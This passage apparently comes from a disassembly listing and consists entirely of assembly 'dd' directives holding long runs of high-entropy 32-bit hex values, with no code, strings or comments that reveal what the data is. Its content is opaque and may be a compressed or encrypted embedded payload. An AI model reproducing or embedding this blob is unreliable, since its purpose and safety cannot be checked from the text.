		dd 0E420890Fh, 9DF23907h, 0B685100h, 66BEF5D5h,	132AB703h
		dd 162CF30h, 950DCD38h,	0D06FB07Ah, 50001AF1h, 688B9D99h
		dd 0F2D2013h, 35B5C888h, 9A796720h, 26009714h, 587FD48Dh
		dd 0E2FF2527h, 846600C4h
		dd 96C2B93Dh, 360090C1h, 77EB3176h, 1210EA4Ah, 33973Ah
		dd 0CB37B4E7h, 2100FF27h, 94507723h, 5ED6A8h, 0DBA6993Fh
		dd 6EF4903Bh, 2B37B218h, 0B66A60h, 6118C9D2h, 0A91B129Eh
		dd 5569EA00h, 0B71DCD77h, 6DE70EABh, 78C27FCAh,	80609EA0h
		dd 4A00DF99h, 0B42BEE6Bh, 0D5CF08h, 0EC1FEAC0h,	0A9102652h
		dd 9BD92528h, 616F6C00h, 0A3A2419Dh, 835D008Dh,	56733F7Dh
		dd 300BB20h, 0D39379C9h, 758F7E53h, 0A67E6Ah, 86C6F34Eh
		dd 283926B4h, 598FF03h,	9DEEE563h, 0B8271C83h, 0EB49AAh
		dd 0E3E4BD06h, 0EC36A514h, 0E54FEE18h, 28C93010h, 0FA8CCA13h
		dd 387798D2h, 1D0C9139h, 0FC19C4E0h, 802698C0h,	1E751Bh
		dd 0E110ECF4h, 0B2AB45CDh, 9D656407h, 2377D427h, 0C37F9F50h
		dd 191100DAh, 6822BE2Dh, 0D8008AF2h, 7A02BD50h,	1DFA9127h
		dd 0C0C9097Dh, 6A99656Bh, 0B748EC49h, 0D71C001Bh, 0F4F6A51Bh
		dd 6CE621h, 2FEAAC27h, 86A6A0C1h, 312D500h, 14D67BD0h
		dd 95B70F65h, 0A8C60418h, 5700A8A4h, 3A8DF95Ch,	771EF30h
		dd 0FE472E14h, 9B0270B5h, 0E6241258h, 0DC002FA4h, 421CB0E5h
		dd 0D2E49Ch, 0BAF08F39h, 20877CBEh, 6E523A78h, 9BD68104h
		dd 0CD40EF76h, 574ADBh,	16BC6B8Dh, 15D78C9Ah, 0BA4C0F00h
		dd 0C15FC76Ch, 0C8BE01C5h, 57C3794Bh, 12CBD452h, 4EB29400h
		dd 7D4FF1A3h, 9DF4F5C6h, 28F0FBE9h, 2E610029h, 0F796A4F2h
		dd 1F1391CCh, 7F0EBD64h, 8E82A0F8h, 0E4DC4Bh, 76781C99h
		dd 40967B63h, 0A4FC3900h, 20607A50h, 29751Eh, 0EE28E8BBh
		dd 5C2606C7h, 93887800h, 0A1C51B0Ah, 7C6D0463h,	82D2A70Ch
		dd 0C4C01C53h, 0EF009206h, 6F1A916Ah, 162E51D5h, 0D266FFh
		dd 597BF38Dh, 0BE00E965h, 1D52A90Eh, 7CA0A6h, 25EF68E0h
		dd 8EC93A42h, 8496E200h, 0EB06312h, 18AE133Ch, 0FB68002Ah
		dd 1A10B85h, 24E11C0Eh,	0EE3C435Ch, 0D8F0879Ch,	0EE29CF87h
		dd 0DAB8141Eh, 2008FB3h, 72387CC1h, 6816D474h, 0B4009A61h
		dd 77CA883Eh, 0B84A3AE7h, 0F6521080h, 5709943Fh, 0CC434000h
		dd 3BA5EE19h, 96AC30D4h, 94E30E18h, 53005276h, 3F2D1DA4h
		dd 7D90F02h, 36C35987h,	9976705Fh, 0BF043ED3h, 8E893192h
		dd 0C1DC1080h, 62FF28BBh, 1E800790h, 30D0788Bh,	0EBB6BDF1h
		dd 5B108D60h, 499C4Eh, 4005ED04h, 305EACB2h, 0CA87E00h
		dd 8912EF99h, 6E063B20h, 0F7217487h, 0F2D88FC1h, 7C005EC0h
		dd 0E6877BD6h, 0F651BB17h, 28710073h, 42FFE5ACh, 980309A3h
		dd 36AA68AFh, 5D66C029h, 4B8300C6h, 95EC7BCEh, 0A00F4413h
		dd 605BADF9h, 318FB20Ch, 38E455h, 2F6ED896h, 0C0732001h
		dd 4E4D650Fh, 2D3E072h,	530A43h, 4767CAECh, 769C2AF1h
		dd 0C072AA00h, 0C6384FAh, 5B7D0013h, 0EFACDC16h, 2800384Ah
		dd 6F49C07Bh, 9796E3h, 1A27ADD4h, 73F5DACCh, 922BA400h
		dd 0DEECCB5Bh, 3BCD249Ch, 0D6C507B0h, 2AE100BAh, 9000CC65h
		dd 192F0376h, 7A4EF00Ah, 0E26D00A5h, 0B8803439h, 0E3E84324h
		dd 662FC400h, 6B944614h, 23D00E7h, 2C9627F2h, 3500F85Ch
		dd 0CA1F9510h, 3E67BFB0h, 0B403282Fh, 9F3CA1FDh, 385D5F80h
		dd 71894401h, 15BF96F6h, 9ECAD0h, 0BA7A6B74h, 4A1071Bh
		dd 0A68A2307h, 0C0CFC4D9h, 96572014h, 0EB1717E8h, 0E2970065h
		dd 0FD7382CCh, 0A96ACE00h, 0BC87379Fh, 0D3AF003Bh, 0DA49F92Bh
		dd 5673FED4h, 9CE48B00h, 30431A86h, 4CD707C6h, 0E0CFCCCAh
		dd 10E04BC1h, 29FDC000h, 0C553908Dh, 1F1F9860h,	0C0BE920Ah
		dd 0FFB7701Ah, 81CD0DCh, 0FCAD39h, 0A1DB0488h, 382CFC87h
		dd 4B001F18h, 0A3828AD4h, 0C702A053h, 1E249CD8h, 2845C0DEh
		dd 6AEE4C64h, 0E7C3EF01h, 0D1FEDC09h, 7038C5F8h, 0B707B2CAh
		dd 342389A7h, 0CE21AE0h, 0BAEE2Ch, 5587C107h, 0FC5315AFh
		dd 0DE1D200h, 0EB2EB3D7h, 0C1B10E6Dh, 674005F6h, 0CCF3CA2Dh
		dd 32577400h, 761CD495h, 9A200CEh, 0BA75FF3Fh, 0D105E44Eh
		dd 0C18E1B42h, 8AEBDEC1h, 109E220h, 0ED887E68h,	0D44931F0h
		dd 5E1DC691h, 0CA404461h, 0A356E1DAh, 7C100D1h,	876913FAh
		dd 0F7007017h, 3DA6353Bh, 0E689628h, 46A8054h, 0FE112F00h
		dd 0E1F3A16h, 1207AC60h, 800FFC1Ch, 517A1822h, 0A46401EEh
		dd 342B35E8h, 0F892ECAAh, 3E8BF53Fh, 0A1618924h, 7A5A00FDh
		dd 7E72B3Ch, 465A8DC8h,	0BADE70B1h, 0C90F7FD0h,	924BD92h
		dd 6F030041h, 2670663h,	7E2825F0h, 40D7ADB5h, 1F57EDB7h
		dd 8053D05Ah, 0A77CD1C7h, 1D00D93Eh, 0FC18506h,	744B34B0h
		dd 284F0178h, 614A3059h, 0AAA0D821h, 8B70561Dh,	0F00FD000h
		dd 26F9E8h, 0E874B2Fh, 9B11BC53h, 81D787Eh, 5C0023A1h
		dd 4119396Eh, 5F9700A0h, 490EFDE6h, 167DF938h, 9D315E07h
		dd 2EC1667Dh, 0C8404414h, 5CF108h, 0D6EBE34Bh, 4D66C29Ch
		dd 8ECD5D02h, 0E0812F97h, 5CC869h, 60731E86h, 0DCA22D8Dh
		dd 0AE765000h, 0E40CA6EBh, 0DFC11E3Bh, 1785EB1h, 67D6C2E3h
		dd 9EB8E8BDh, 7BB05100h, 50051629h, 133900C8h, 5FCBE37Fh
		dd 0BF008FC9h, 549E28C3h, 1CD3C075h, 952289E0h,	0E51F8CDDh
		dd 6FB3C0F3h, 0C31319A9h, 815EB400h, 55F94826h,	7EF65C78h
		dd 0D023600h, 0AD65E5BEh, 0B3D5F000h, 4155E8CBh, 6E0B07D7h
		dd 6024F805h, 3CAD746Ch, 0AAF1BB00h, 41BECEA9h,	47F00026h
		dd 0FB4EACD8h, 40C0D65Dh, 0B90DF8ADh, 0CCD8A8E9h, 0B48400C7h
		dd 592E062Ah, 0CE001ECDh, 584E9DF4h, 1DEE079Fh,	40B766A7h
		dd 145046BBh, 61042145h, 0BAD0F64Ch, 602CA782h,	13922735h
		dd 0F82FECF1h, 5B300026h, 7BF2210Eh, 27B701EEh,	3984B032h
		dd 18A0D71Bh, 700A2ECh,	71B3C86Eh, 529A5AA1h, 3A3F9451h
		dd 6C4D3F8Eh, 0C9231860h, 2700BA38h, 10649865h,	7F0AD9h
		dd 398EFAE4h, 0D454BF7h, 80079400h, 50A004ECh, 0A55E0EF4h
		dd 0B100B843h, 6A357520h, 0B0852200h, 5AAC8110h, 0CC2005Fh
		dd 13FDD77Fh, 7E00FB4Fh, 0D4E5D65h, 2BD289h, 28FF1F0Bh
		dd 98180194h, 0A7D6F400h, 0EC768D49h, 464100B9h, 915A4A78h
		dd 7E00BA44h, 2068D7F7h, 0EDBDC3B3h, 3C513F4h, 0C8306CCh
		dd 690702B9h, 0D7A5A3ABh, 2105A76h, 0C3D81480h,	1C402B15h
		dd 0DB0090A7h, 27DD397Bh, 33E4EE4h, 0C2EBA2BDh,	76C0360Fh
		dd 0B8011704h, 4FFC1EB6h, 0B5CC7BFFh, 508800C1h, 5D0A51E9h
		dd 9B00D47Fh, 48523098h, 1A97D28h, 8FC4F2F6h, 0DCAB8B9Ah
		dd 0A7142DE3h, 0ABF05Bh, 2B17540Fh, 0E950A3C1h,	301963E4h
		dd 828466Bh, 2672AB6Eh,	0E817DF06h, 8C4E1h, 0EC4F6028h
		dd 0CEE33EA0h, 0C9251030h, 3872FC7h, 7A3F52C0h,	50E7E2FEh
		dd 0CA357707h, 0A664D000h, 57BF55F4h, 0A4FC384Ch, 63423A6h
		dd 79632C0Ah, 3822EE00h, 9F60026Ch, 60D67634h, 0D9E5810Eh
		dd 2400CD7Bh, 3652DF7Dh, 0CA027EDEh, 834C61D9h,	17B684B8h
		dd 46B580B4h, 61147D5Fh, 185CEEEAh, 0C73901D7h,	0C07F0077h
		dd 0B8C142F2h, 0A0004B45h, 0F8595B46h, 586A82h,	2E27D2C3h
		dd 0D3C52F9Ah, 0FE68D901h, 6437EEFBh, 55B620h, 44F2748h
		dd 9FB3D0E1h, 0EDF75E00h, 0A0CEEA84h, 19AE0096h, 23F5598Bh
		dd 970091CDh, 0A7FAB699h, 7E92FEAh, 0E08DAE70h,	5B3A3051h
		dd 0E117C53Dh, 1A0E0C38h, 9E580B0h, 0BB030Fh, 260E402Bh
		dd 673F04CEh, 0F432CBEAh, 0E14FD0E0h, 29C36C24h, 0E2043EE1h
		dd 0E0A04F56h, 7818E4B4h
		dd 83E5FC3Dh, 3465DDE2h, 213CC840h, 74860E89h, 8C60B6C8h
		dd 84D934Bh, 9BE70B00h,	8F75275Bh, 0C53B0734h, 0D048A364h
		dd 81C99719h, 0A8ADE31Dh, 7B00F9D2h, 62BC0C5Ah,	9D2C3E60h
		dd 6ED2CD80h, 0A85045A5h, 61705C1Eh, 6BD732C0h,	0C7B867h
		dd 7A3C429Fh, 905AA555h, 0F1714A00h, 24DA2CA9h,	44120069h
		dd 235998D3h, 11004210h, 0CB085F7Eh, 0FA921B0Eh, 30360061h
		dd 88EEBB94h, 3175C99Eh, 974F211Fh, 451000FBh, 3062C774h
		dd 91B1388Ah, 268ED100h, 5417AF3Ah, 0D92C6E70h,	450001A0h
		dd 34814230h, 4F1B0E51h, 1FA0E752h, 2137D72Ch, 0A6BB1600h
		dd 0ADB346F6h, 76800055h, 0AFA0A8BDh, 0C030433h, 0A336326Fh
		dd 0C07D90C7h, 0F9D73F0Fh, 7C8FC683h, 6888BF8Ah, 0E0074430h
		dd 6C3282B3h, 3601EBB0h, 76C40087h, 7BAFD05Fh, 0E100B29Dh
		dd 0FEF3533Bh, 0B8504874h, 363A009Eh, 33CD0466h, 0C000D21Ah
		dd 0AB45A653h, 2507DF9Eh, 0C6F4ED7Ah, 2049AF0Eh, 0B5B99BD0h
		dd 0C0200003h, 0C78D0A06h, 41F25B0Fh, 1F843300h, 0BDDDA68Fh
		dd 0E34300A3h, 0EB34D4C4h, 0EF009108h, 0BC3ABB52h, 972C64h
		dd 26AEF32Ah, 7B5C3E8Fh, 809B5403h, 0FFA2D3E9h,	0A6FD5720h
		dd 55833C8Ch, 71660E80h, 0FF89DE19h, 81D7F100h,	96E2C932h
		dd 435D0042h, 5E1CA68h,	0D800E344h, 95A194AFh, 0BEFDB9h
		dd 48045BA0h, 0BDEE418Ah, 0CB00DC71h, 29E97F4Bh, 3FA7AFh
		dd 27CA6FA4h, 0B9DBC08Eh, 56462500h, 0E4BC8575h, 4B323C3Ch
		dd 66519383h, 6B88271Ah, 3570D46Fh, 36133DF4h, 350ECF3Eh
		dd 0CC00D29Bh, 57CD6899h, 72F204A6h, 0C7BB4982h, 23474163h
		dd 0E57FE464h, 0B23BBE00h, 0EBF0C942h, 46FA00FDh, 1E1C697Ah
		dd 6E0092F7h, 4FC33058h, 7AB96079h, 8EAF0FE3h, 9DA0D322h
		dd 0FE93AA54h, 0D45FBD03h, 0B005A35Eh, 4E168069h, 75CEA8F8h
		dd 41CFE101h, 7FDCD6C0h, 0B130E4h, 1CBB3F13h, 4887EF4h
		dd 6F00D278h, 4D4BC1B2h, 74A13Ah, 56BC41DFh, 109CC69h
		dd 7E7D337Ah, 0AF3FCAB8h, 0BE83389Fh, 368B0329h, 0F3701477h
		dd 0ABE598D6h, 0E7D70E8h, 11BE03D4h, 0CD52B6E0h, 7330C417h
		dd 919D19E3h, 0C06200E1h, 0AA13D2F9h, 0E800DB9Fh, 5816ABFDh
		dd 377CB51h, 135B16Eh, 0D6C078BEh, 0F60003AEh, 5A1386EFh
		dd 0CC498h, 8E353225h, 9FF9BC33h, 4ED6161Fh, 0FC5B248Fh
		dd 80B07340h, 3B3DD4h, 174161ABh, 0C75AFEA1h, 2FDEC01h
		dd 6D795B62h, 30682F4h,	26CB8F6Eh, 97984B64h, 0C100D20Bh
		dd 0FCD0DD9Eh, 798D94h,	55A6B0E5h, 4B11E8Ch, 6D455D00h
		dd 9B2A20Eh, 0CA4E07A0h, 3068A875h, 10B79F01h, 0DD0C5E03h
		dd 885A6328h, 0E5951AFh, 7E07741Ch, 73B41DE0h, 3E01B34Bh
		dd 39265BDFh, 18D10B36h, 377DDC4h, 0A2C8CD30h, 7E80574Ch
		dd 90008825h, 896E4F81h, 1DC56BE2h, 40305E86h, 0F5BCA902h
		dd 0CE00A750h, 2036D257h, 7F7B4Eh, 0F2802901h, 0DF4DFA9Bh
		dd 402DD400h, 58D2A539h, 0C87239D7h, 14F200FCh,	0D8AD1B0Fh
		dd 0BE003696h, 2D4C3176h, 3926FDA9h, 0C800B943h, 59A0BB42h
		dd 0D50070B7h, 86F36382h, 1F9FD4E1h, 1246FFEh, 3E26CCF4h
		dd 3881DB1Dh, 0D522E40Bh, 0B5DA5E03h, 0D0FCB4AEh, 0B8D80A2h
		dd 120D6BADh, 43F30Ah, 468EDD50h, 3E006554h, 197692B2h
		dd 0D0E43h, 4ECD166Ah, 40271B2Ah, 4CFE2E00h, 0F8CC31B9h
		dd 0CAA000A5h, 0ED1121BFh, 961D0343h, 0E3003B85h, 0D26846C9h
		dd 0F0C13C81h, 87CE4C1Fh, 6093ECABh, 454BA970h,	0CBBC201Fh
		dd 9A37DC5h, 0C818F583h, 0BDE578h, 334E604Bh, 56C29B9h
		dd 1250B204h, 0AF805BC7h, 0EEEAA5Ah, 833B8979h,	0EB654700h
		dd 0FD00BE10h, 1F785B01h, 1C9161Ch, 13E6EFB7h, 60D94E3Dh
		dd 1A002D76h, 0AEE37462h, 776C0EB8h, 0BE7624h, 0DD785A9Bh
		dd 108549DBh, 0C10E72B8h, 0C0442CE3h, 0D062AE91h, 0F0640EA4h
		dd 4CA02482h, 543716EDh, 0F9791F01h, 0F5397E04h, 0F1C99340h
		dd 29E01CEh, 10215188h,	6015CC5Ch, 0A97C800h, 535A3D9Bh
		dd 58BDA05Bh, 0DDC73877h, 0E3FC2380h, 0A4EBB3Bh, 0AA00B374h
		dd 0F6C8D7EFh, 90C4CB36h, 0C1620004h, 14100E7Ah, 8E00E3DBh
		dd 66B05D0Ah, 7A28D25h,	0F169850Fh, 5902209Bh, 83005A9Ch
		dd 0A1E76F2Ch, 90754886h, 522B00A5h, 1194F07Ah,	96000E5Dh
		dd 6B531889h, 8FE6D9h, 28E714EAh, 0E0203393h, 588B7401h
		dd 70FD8785h, 10F5DCh, 73D750DEh, 2964438Ah, 8DD3B900h
		dd 0A3C51E98h, 0CA0200F7h, 0F261CD0Bh, 0F4070ED5h, 53DA7335h
		dd 0B54E8E90h, 0FE403BBDh, 31527180h, 0D14CAAAFh, 1FBAF800h
		dd 4F80B4EBh, 383F00F5h, 0C4D8E0B1h, 0BDE2D5C6h, 0A7935003h
		dd 8B8CF42Fh, 0F04EF849h, 0D810E68h, 5C2F590Fh,	0DF7BCB60h
		dd 9200B344h, 1EABFB3Dh, 0A49781h, 5DB43289h, 79B9FA29h
		dd 2AF71500h, 0E406AF76h, 83A74ECDh, 0CAD831FAh, 0D1166B02h
		dd 0C4005486h, 0E4439EF7h, 1053639Ah, 84886627h, 57802148h
		dd 0DC8B489Eh, 4042121Dh, 889D67Fh, 15013093h, 0F83CDFF5h
		dd 0DD30D2C5h, 324700B9h, 0D40F6AEEh, 7D000CA6h, 222DC2F2h
		dd 0FE877Fh, 44547030h,	798CCE09h, 4F948E00h, 63F38B64h
		dd 0A824A052h, 0B6CC0093h, 0D879E0Bh, 0E5E6D343h, 205CE830h
		dd 0ABF40Fh, 0C7017BDh,	3F7623F9h, 7740B300h, 43572D12h
		dd 20CB004Eh, 0AFB9C09Dh, 300246Dh, 0B7F8210Ch,	0FE5FB296h
		dd 7B800FA7h, 0B4002B15h, 0F9529E99h, 37D36600h, 4409275Fh
		dd 88810EB1h, 127EA69h,	0BCE48157h, 1F7D2091h, 6E67DE00h
		dd 41F21711h, 82B078h, 7D47F7A8h, 922AB5B6h, 841DD701h
		dd 98F5DD81h, 1D4CA860h, 4F55F4CDh, 216082D6h, 0E90A2DAFh
		dd 903D9100h, 10C0DDB5h, 6B1439CEh, 0D90098BCh,	0D6BEBAF9h
		dd 0A200515Fh, 0C93F8093h, 947BA0h, 0F9B5C1Ah, 5B5F1B6Fh
		dd 7AB32B0Bh, 0AD3F00A7h, 79BC2Dh, 1057CC11h, 25A65644h
		dd 58AB7303h, 0D89B3DE3h, 120BF5DFh, 2D41BDh, 3E17543Ch
		dd 0E000F43Bh, 5116C411h, 90E658BFh, 5E0800D3h,	0FF49BA7Eh
		dd 2305CAE0h, 0AF556A7Ch, 0E2E62039h, 46202035h, 3ADBA518h
		dd 7D7C4709h, 14B388Dh,	7F60E000h, 0A006C928h, 66A7EF06h
		dd 848F6B5h, 0AAC439DCh, 86334C00h, 0B1D1FDh, 0C637717Eh
		dd 0E4414A35h, 0F2E73Ch, 7632F7F1h, 1D717850h, 9D902146h
		dd 6C0B3C7Bh, 80F71F14h, 0B1C19C7Dh, 0BBB0014Dh, 93600685h
		dd 7830809Bh, 0DE9C2942h, 83720C0Bh, 7D605209h,	8C325E78h
		dd 40B0587Ch, 0C502C686h, 0C15FF830h, 0E0A2B10Dh, 310CC3D8h
		dd 20CE4DF5h, 0B215006Eh, 8BD15A56h, 4E00D2ECh,	0A8A196E8h
		dd 30941064h, 0AD666FB1h, 6E071B24h, 7E9C7A68h,	0BBF52EC0h
		dd 4905608Ah, 0D1F16A2Fh, 0F2E22100h, 0B1422A7Ch, 8AA30CA5h
		dd 71283F4Fh, 5E22C117h, 0EA61B4B0h, 745D2646h,	0B78B01CAh
		dd 835339C4h, 0C2B98DC8h, 0FEE0265Ch, 0DAB40094h, 9648D3F7h
		dd 837FB802h, 80790435h, 5CEB0D80h, 20C55376h, 0FDBD3E81h
		dd 788708F5h, 1EC7F824h, 5E65F9h, 83B39323h, 0D0A87D9Bh
		dd 0AC00131Fh, 3EE0B40Bh, 7C8B5214h, 0F96014DFh, 0C300C844h
		dd 2E0ABDBBh, 0BC006669h, 0F4A9EDDBh, 93EF03h, 0D1D40511h
		dd 37EB2233h, 7400DAE4h, 0C86F098Fh, 2EEBABFh, 5E7F7616h
		dd 0E0A0238Dh, 3C90829Ch, 6A1060D8h, 7054054Ah,	0EF4B5DE9h
		dd 0F1641CC1h, 0F8C9F0h
		dd 0E872233Dh, 0CDB9465Ah, 968EDF00h, 6720D9B1h, 1C6C72A8h
		dd 43FC21FEh, 8CAF5F6Bh, 0BFB79BB0h, 835D5B00h,	18E3B1AEh
		dd 7041607Dh, 45F247E8h, 0C30E900h, 0A23C6EEDh,	0B8C0308h
		dd 0F8B6BD22h, 676A95C0h, 54BF5303h, 0C7334275h, 55AA6E61h
		dd 60B691E0h, 4D21D1AFh, 9F024A68h, 0D78F65B1h,	844AC080h
		dd 0D38107A5h, 26DDAC8Ch, 4A0C308Bh, 38FD7402h,	43C3001Eh
		dd 0AACE4992h, 5B0089B6h, 7669E1B0h, 0D08142h, 0D944CBFAh
		dd 18DA5F23h, 8084D9FBh, 2724CCC8h, 2DBCDFh, 0F2C8BBC1h
		dd 0E0D5104Fh, 0CAA73503h, 0B9669Fh, 60A67C80h,	0ACC9A42Fh
		dd 0E7E2217h, 0ED51E107h, 3C93D270h, 749C0018h,	0F19F8878h
		dd 4D029755h, 0DB1ED070h, 3136C0D8h, 86A63E8Dh,	5574B680h
		dd 2FFA9C6Dh, 132EE0E7h, 0AEF33Ah, 10E78418h, 0D11975h
		dd 0F92A633Dh, 7EEB6ABBh, 0E66CF60Eh, 0F8C13FE7h, 770FBDADh
		dd 331379C4h, 0C088617Bh, 6AFFA8E9h, 356865C0h,	3048F895h
		dd 89A990B7h, 79C02B57h, 0F9EC1E15h, 7658033Dh,	0ADCF67E0h
		dd 8CB78800h, 2A395E90h, 0F60E1C96h, 3801DAFAh,	0A856B880h
		dd 8C009E88h, 18ACCD29h, 9B2421h, 1F3249DFh, 5A27AE74h
		dd 7DA8934Bh, 0FBBA0D00h, 4670A563h, 44FEE97Ah,	6935BE00h
		dd 24B3ADA7h, 0CC310BD9h, 7221EDCAh, 87377651h,	0BFFF08D9h
		dd 400E1A40h, 6AFE3Fh, 3AB19E5Bh, 9383F5B8h, 6628C7F6h
		dd 1954A8A3h, 0FAC080CCh, 84DDA7BBh, 285678F9h,	0F9C8C3h
		dd 763E3828h, 0A4C7AE1Eh, 8118FBFCh, 0A11E11B7h, 0CC7B3E66h
		dd 0FC04F52Bh, 8017E338h, 4F27E738h, 39BA85Eh, 201629C4h
		dd 0C9A363ADh, 0B14310Ah, 0A11EA4F8h, 0E0EED833h, 0E7DC0CF9h
		dd 2934B6F2h, 5A4CCEA8h, 805B8441h, 0F2610410h,	0FE706B8Fh
		dd 0D9F840h, 14D38CAEh,	6E9E71FCh, 0AB1919C2h, 7403228Dh
		dd 0D8BD1882h, 0F3302310h, 8E767510h, 815EEA8Bh, 63A7B10Ch
		dd 8534611h, 30B5506Dh,	0C90CA8ACh, 0CE8744E1h,	65105042h
		dd 37C38420h, 0AD38425h, 8A24AF0Ch, 854B061h, 0DD425298h
		dd 2124BC24h, 0A9083629h, 44F245BCh, 22ADC50Ch,	0C184995Fh
		dd 422E904Ch, 0FB551435h, 0A8DF290Ch, 0E9DE9190h, 0B1CD8CC0h
		dd 0F308C218h, 84FDDC9Fh, 428DB524h, 239C05E7h,	0C076E070h
		dd 44DAE801h, 1BD73881h, 3A220020h, 5F006F3Dh, 0EA1EB50Ah
		dd 0D900FEFAh, 4B609BC1h, 39DCCC7h, 0D4A4C0C5h,	0A5E87A1Bh
		dd 0A749345Bh, 99630B24h, 0D0A68CE7h, 723A2A07h, 5EE108B0h
		dd 173B3811h, 0A0001A90h, 0CF843EBh, 9B7206D3h,	0A17A0BCDh
		dd 24B0211Eh, 0C5148E40h, 0A4F5A2h, 4CC2686Fh, 8C3C53C7h
		dd 0B517E900h, 643E4225h, 37C0BFA2h, 8A24117Bh,	1CA37C9Ch
		dd 462C60EFh, 509C9980h, 4585Ch, 0B4D439E6h, 5393A1F1h
		dd 1A618503h, 0C8D244C5h, 7A6BB1AFh, 598CA0BCh,	19E314A2h
		dd 0BE0084F1h, 0D2D34629h, 0CB65F6C1h, 0C84F8ED8h, 1B501807h
		dd 1A9E0E68h, 0B28F9803h, 469FAC25h, 68FCB114h,	701DA510h
		dd 348CD680h, 8200516Ch, 0AD1B6A3Ch, 508DFF06h,	0F1C05Eh
		dd 0A07F859Eh, 4D597DF5h, 55BAD10Fh, 0CCDF20C7h, 3FB4AC6h
		dd 0ADB16708h, 0B807E6BEh, 7B60815Dh, 75799A3h,	1CBBFFE9h
		dd 0BE0F9033h, 8B7A7A5Bh, 40B7F126h, 9FAA6A0Eh,	18A2EA41h
		dd 2D6BE34h, 6880FCD6h,	0D14AF052h, 40440329h, 62ACA640h
		dd 941A2450h, 1600138h,	0D09F66DBh, 59332AC9h, 0F1282849h
		dd 0E834239Ch, 0AC5B3CC5h, 4323B13h, 0D0486D5Ch, 0F234D060h
		dd 0C7878B00h, 0A14675D4h, 79323ECBh, 18A5DE18h, 593A2C1Ah
		dd 0B5AD06B3h, 77F8BD77h, 41EC1834h, 0BFCB19CCh, 0EB13C80h
		dd 85C725B6h, 0A59954A2h, 3634F083h, 84CC2029h,	4C41F980h
		dd 0F76F85E4h, 72D289Eh, 61F618B6h, 24399966h, 0EF048BB4h
		dd 0D5D3A2E9h, 7C60BCD5h, 48844C14h, 9E009449h,	6126C40Ah
		dd 0A21866E4h, 0DE18326Bh, 882B5293h, 1291C24h,	661D54AFh
		dd 0A504E85Ah, 868453FBh, 8BA2410Eh, 1BD839Ch, 0B157A8B2h
		dd 17CFB8D1h, 0AF1DDFh,	0F28E34ACh, 0D400CDA6h,	0C23CD0E8h
		dd 1DC726D8h, 6F54AD99h, 0B8206DF6h, 0FAABFF1Fh, 3428A0C0h
		dd 7F71E343h, 0A5E40509h, 934B9CCDh, 90CCC52Ch,	44992598h
		dd 4818EF59h, 0E9F23008h, 9FBF938h, 0D188CD04h,	9EF4D400h
		dd 64902314h, 422BE303h, 63C7CCCh, 17D95572h, 253AE849h
		dd 1B0607Eh, 0A55C3633h, 0EBCD0230h, 553838F8h,	0F51A0333h
		dd 61D34FE8h, 5065B004h, 10D11B0Eh, 53E4A6E5h, 494601C7h
		dd 0B161B233h, 412DF9E3h, 34A1B4B8h, 3E00479Ch,	769A6D5Ch
		dd 4CEEA464h, 0DC523C9Eh, 9F9C8000h, 0F2D4396h,	0E7D00D01h
		dd 0BF92495Ah, 40EA400h, 511A3930h, 78EE6244h, 71F92C6Eh
		dd 8A020F8h, 0B58E0A98h, 9A2801B9h, 0B2CCCEFAh,	24253430h
		dd 3D4F85E7h, 0E97D6300h, 0A5C55B9Ch, 0C148EFE8h, 0F99D0963h
		dd 8A896C4h, 0A949C74h,	44312A0Eh, 508BDCD3h, 507F6A00h
		dd 0CE17253Fh, 0B3805899h, 996790F1h, 641E0075h, 0BD970D5Ah
		dd 0E301AF4Ch, 36A9D3CFh, 4C20A78Dh, 0ED6D001Eh, 0AB70660Fh
		dd 810241ACh, 8CB6202Dh, 48CEEFh, 0B5125DC3h, 0E6DB02C1h
		dd 39C84915h, 81F506ECh, 9030DDB3h, 3E5880B8h, 76218870h
		dd 0E9790430h, 0F3A2539h, 5FDD2C74h, 4048EF14h,	0FD187680h
		dd 88EAD597h, 0A1CCF450h, 96027718h, 155F6E20h,	84DFDA14h
		dd 367B1800h, 2AB5762h,	0CF31F562h, 74252003h, 209056CEh
		dd 1213117Eh, 1C5AB885h, 43349078h, 0DC7B044h, 9FC9E4BEh
		dd 3C880D8h, 47F9AEE0h,	17F06AFh, 41B034B3h, 7E54BC06h
		dd 0F0791FC5h, 0C2690AECh, 4208F497h, 271866EEh, 98EA48DEh
		dd 1D943703h, 80B450Ch,	8A916774h, 2C8040FAh, 0A35F63C8h
		dd 0C1E900CDh, 37F4F383h, 0E0018C16h, 0B2C8951Eh, 0A5DCF935h
		dd 1A562551h, 32102418h, 340F7A03h, 667448h, 0E7A31F10h
		dd 53045AB4h, 49FE2100h, 2AEF1E2Fh, 0FC8EFABBh,	77FF00E9h
		dd 635A6EB9h, 410352AEh, 0A15C571Eh, 0BF728071h, 5F290A03h
		dd 0F96D195h, 5DFC6Dh, 0D650B76Eh, 0A21BE177h, 0E048F724h
		dd 73D1FD15h, 93370053h, 0AA1C7049h, 0D6001934h, 82941097h
		dd 131B9h, 0A5DBED1Eh, 3FD40C63h, 69749600h, 0FCA13706h
		dd 0BA1D0E2Dh, 97C0AC31h, 99D7A4A8h, 516E3A30h,	0E0C4413h
		dd 8B359563h, 0F4041560h, 40F19241h, 0E07EB0CAh, 0A2636B05h
		dd 30204446h, 0D0F688B4h, 408048B0h, 0BF1359ECh, 3EE1FE1Ch
		dd 0FC2D37C7h, 1891FD30h, 64DA36DDh, 4869839h, 12886D0Ah
		dd 0F1FC0C32h, 0C02305Bh, 1B5E4083h, 55BDE480h,	74023CEDh
		dd 0D83A56BFh, 790C8220h, 51A91159h, 88FD518h, 0FC642291h
		dd 449FD21h, 4AFB6FFAh,	0A8BB0CC9h, 51542431h, 9322210Ch
		dd 1C8D21E5h, 41FBF008h, 11720375h, 0E10806DFh,	0F6710B22h
		dd 9D288407h, 4521248Eh, 91E90A05h, 314080Ch, 5040543h
		dd 3FA4A260h, 14EC006Ah, 9D8BE34Ah, 4DDE9A12h, 51855475h
		dd 6555080Fh, 0B840836Ch, 40E9F114h, 0CB860EC1h, 0D8DD986Dh
		dd 65C838ABh, 39BD8405h, 0C8078FA0h, 8740C219h,	14DAF79h
		dd 0C05E52DDh, 0C16C0C57h, 0F08FECF1h, 70F9507h, 26B1F2C5h
		dd 0CEFCE02Ch, 0B1350033h, 2B5517D2h, 42006861h, 0D671EE49h
		dd 0A4586A8Eh, 82E44Ch,	0BA1E4F89h, 8BC4B4B6h, 0E60ABC7Dh
		dd 0CCEAB076h, 27433700h
		dd 183F105Ah, 0E05C7B1Dh, 180004FDh, 0B53D7DEBh, 0B17840h
		dd 349F69EFh, 7997966Dh, 7A7F4905h, 1C6731B6h, 0E93C7E84h
